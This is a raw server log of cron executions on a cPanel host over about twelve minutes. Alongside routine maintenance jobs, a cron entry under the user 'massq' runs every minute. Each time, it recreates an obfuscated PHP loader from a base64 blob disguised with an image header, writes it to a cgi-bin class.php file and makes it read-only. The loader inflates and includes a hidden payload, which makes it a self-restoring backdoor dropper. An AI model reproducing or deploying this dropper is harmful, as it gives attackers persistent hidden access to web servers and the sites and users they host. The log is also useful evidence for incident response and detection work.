Sep 12 01:44:01 server CROND[13279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:45:01 server CROND[13657]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:45:01 server CROND[13659]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 01:45:01 server CROND[13660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:45:01 server CROND[13662]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 01:45:01 server CROND[13663]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:45:01 server CROND[13661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:45:01 server CROND[13665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:46:01 server CROND[14485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:46:01 server CROND[14486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:46:01 server CROND[14487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:47:01 server CROND[14958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:47:01 server CROND[14959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:47:01 server CROND[14960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:48:01 server CROND[15334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:48:01 server CROND[15335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:48:01 server CROND[15336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:49:01 server CROND[15708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:49:01 server CROND[15709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:49:01 server CROND[15710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:50:01 server CROND[16088]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 01:50:01 server CROND[16089]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 01:50:01 server CROND[16093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:50:01 server CROND[16098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:50:01 server CROND[16101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:50:01 server CROND[16103]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 01:50:01 server CROND[16102]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 01:50:01 server CROND[16105]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:50:01 server CROND[16104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:51:01 server CROND[16912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:51:01 server CROND[16913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:51:01 server CROND[16914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:52:01 server CROND[17383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:52:01 server CROND[17384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:52:01 server CROND[17385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:53:01 server CROND[17768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:53:01 server CROND[17769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:53:01 server CROND[17770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:54:01 server CROND[18144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:54:01 server CROND[18146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:54:01 server CROND[18145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:55:01 server CROND[18523]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:55:01 server CROND[18525]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 01:55:01 server CROND[18526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:55:01 server CROND[18529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:55:01 server CROND[18531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:55:01 server CROND[18528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:55:01 server CROND[18527]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 01:56:01 server CROND[19348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:56:01 server CROND[19349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
